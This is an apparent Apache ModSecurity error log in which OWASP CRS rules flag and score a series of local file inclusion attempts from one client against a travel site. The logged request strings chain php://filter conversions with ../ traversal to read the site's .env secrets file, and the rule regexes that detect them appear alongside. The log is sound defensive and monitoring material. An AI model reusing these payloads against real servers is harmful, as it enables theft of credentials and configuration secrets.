[Fri Jul 17 08:55:11.667929 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&debug=pWlJY7PVMXZxTFA5-kHm77ccDBw5U0yzcavNCjvzdRgvSOebRxAMEa-T2-0QoLaFmVqDZU1-Tnx2H6GhQhINFQszbtdWyi5PbZEky6mjGPogz_pXVB_XqUKFaAHYEXX0q9tJnxnOw3SoIVTd20Bcd6be1QhFg6Ra6LlL8JKNIiotfTurlU_fPGgF9uAqhscjPxBiBmlvXehSuYE6DybuvR9b_N_cBsKS_iMK-58lrgQrViFXdXQSyLf5cWT7dc_gDwV1SeoXsMyYgz8QDe-v4U30&extra=Y7FOAVKMDZNUNAWSLHNA6IRIHZASKI5GHHYK7ERC6KJZSMAZM3ESGD3EWGO6LCDCADMPV2HOM243Y4DQPJIXNYBCG57UMYLKPTQ3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
[Fri Jul 17 08:55:11.667964 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&debug=pwljy7pvmxzxtfa5-khm77ccdbw5u0yzcavncjvzdrgvsoebrxamea-t2-0qolafmvqdzu1-tnx2h6ghqhinfqszbtdwyi5pbzeky6mjgpogz_pxvb_xqukfaahyexx0q9tjnxnow3soivtd20bcd6be1qhfg6ra6lll8jkniiotfturlu_fpggf9uaqhscjpxbibmlvxehsuye6dybuvr9b_n_cbsks_imk-58lrgqrvifxdxqsylf5cwt7dc_gdwv1seoxsmyygz8qde-v4u30&extra=y7foavkmdznunawslhna6irihzaski5ghhyk7erc6kjzsmazm3esgd3ewgo6lcdcadmpv2hom243y4dqpjixnybcg57umylkptq3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
[Fri Jul 17 08:55:11.667991 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
[Fri Jul 17 08:55:11.668017 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
[Fri Jul 17 08:55:11.668147 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&ts=Ydy78LxEBUNA2y8R4aDYaBp2WdBXvvih5DtP5P5TmWYOShJyqtaNqfAgViUzZiDeuPjM-1yrRvmUwa5v8wzG8Zc6hDxHMinkQ_FFgH7PXAS7Msf9Za_BQE9XWKu2f2RBuq5Jas2QWvKsUOYWNG_s58PcEitqfgNP7eHUaniO28g_G44OrOQVkm8SFZtXtd2ETFx7lReSKOPrsRcmMWlBMaX3l7QU8Bfcr7kyyzE9O-n4q4a-8Bb6yAQnEqe56cX_FC7KYEVxitjh5EnMjb_E9U6q&junk=3TWKHITKL27J4YYW6DPBTJPQTIORRTFFNOQ5LKDR7PDO25Y4WCS3RG6JIPICOENGNBTCE4XMJKG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.668184 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.668230 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ts=Ydy78LxEBUNA2y8R4aDYaBp2WdBXvvih5DtP5P5TmWYOShJyqtaNqfAgViUzZiDeuPjM-1yrRvmUwa5v8wzG8Zc6hDxHMinkQ_FFgH7PXAS7Msf9Za_BQE9XWKu2f2RBuq5Jas2QWvKsUOYWNG_s58PcEitqfgNP7eHUaniO28g_G44OrOQVkm8SFZtXtd2ETFx7lReSKOPrsRcmMWlBMaX3l7QU8Bfcr7kyyzE9O-n4q4a-8Bb6yAQnEqe56cX_FC7KYEVxitjh5EnMjb_E9U6q&junk=3TWKHITKL27J4YYW6DPBTJPQTIORRTFFNOQ5LKDR7PDO25Y4WCS3RG6JIPICOENGNBTCE4XMJKGUK2QHTKLRGM5OMNJPE3HFFUCDQ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.668255 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&ts=ydy78lxebuna2y8r4adyabp2wdbxvvih5dtp5p5tmwyoshjyqtanqfagviuzzideupjm-1yrrvmuwa5v8wzg8zc6hdxhminkq_ffgh7pxas7msf9za_bqe9xwku2f2rbuq5jas2qwvksuoywng_s58pceitqfgnp7ehuanio28g_g44oroqvkm8sfztxtd2etfx7lreskoprsrcmmwlbmax3l7qu8bfcr7kyyze9o-n4q4a-8bb6yaqneqe56cx_fc7kyevxitjh5enmjb_e9u6q&junk=3twkhitkl27j4yyw6dpbtjpqtiorrtffnoq5lkdr7pdo25y4wcs3rg6jipicoengnbtce4xmjkguk2qhtklrgm5omnjpe3hffucdq..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.668297 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.668330 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.668376 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
[Fri Jul 17 08:55:11.668683 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.669394 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
[Fri Jul 17 08:55:11.669526 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.669649 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.669742 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.669822 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
[Fri Jul 17 08:55:11.669988 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AbgAAAAU"]
[Fri Jul 17 08:55:11.672934 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOAAAAAc"]
[Fri Jul 17 08:55:11.674004 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOAAAAAc"]
[Fri Jul 17 08:55:11.674148 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.674433 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MOAAAAAc"]
[Fri Jul 17 08:55:11.674657 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&sid=jyChlmY6Ki-UCrcZkEEWgzU4oX8euZjU-ZyhaSM5NjBXD0qhIfy-EzOsXoqD_J9xJ9htV74I3v1GKFJexNYnUWxS92Ksp9KfdInPkuemLDonV6fa-J-spuq9XuxU2SiRn-KYawI1K36Sucp8YgO2HDgMB7yXBSzcCQBYUTfAW2SDDxIUolVONOudlLVK4DdZH8ExYtNjtQiQBKzJ29rQ7tOBnNdgol-OjhcVQ6osVv6Ygft36QPwUjxdUp7CtAGh3i1XO0tRMaCt08QHgwL3SffZ&cb=J3O2VPDIKLFQ6RFVBXS6WB4WGLQY7AZX7CASAYPF67FZ5A64GUBYDD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
[Fri Jul 17 08:55:11.674701 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
[Fri Jul 17 08:55:11.674750 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&sid=jyChlmY6Ki-UCrcZkEEWgzU4oX8euZjU-ZyhaSM5NjBXD0qhIfy-EzOsXoqD_J9xJ9htV74I3v1GKFJexNYnUWxS92Ksp9KfdInPkuemLDonV6fa-J-spuq9XuxU2SiRn-KYawI1K36Sucp8YgO2HDgMB7yXBSzcCQBYUTfAW2SDDxIUolVONOudlLVK4DdZH8ExYtNjtQiQBKzJ29rQ7tOBnNdgol-OjhcVQ6osVv6Ygft36QPwUjxdUp7CtAGh3i1XO0tRMaCt08QHgwL3SffZ&cb=J3O2VPDIKLFQ6RFVBXS6WB4WGLQY7AZX7CASAYPF67FZ5A64GUBYDDEGLNOSXMTQN4QCHRJ5EQFHUF5U..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
[Fri Jul 17 08:55:11.674810 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&sid=jychlmy6ki-ucrczkeewgzu4ox8euzju-zyhasm5njbxd0qhify-ezosxoqd_j9xj9htv74i3v1gkfjexnynuwxs92ksp9kfdinpkuemldonv6fa-j-spuq9xuxu2sirn-kyawi1k36sucp8ygo2hdgmb7yxbszccqbyutfaw2sddxiuolvonoudllvk4ddzh8exytnjtqiqbkzj29rq7tobnndgol-ojhcvq6osvv6ygft36qpwujxdup7ctagh3i1xo0trmact08qhgwl3sffz&cb=j3o2vpdiklfq6rfvbxs6wb4wglqy7azx7casaypf67fz5a64gubyddeglnosxmtqn4qchrj5eqfhuf5u..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
[Fri Jul 17 08:55:11.674842 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
[Fri Jul 17 08:55:11.674868 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
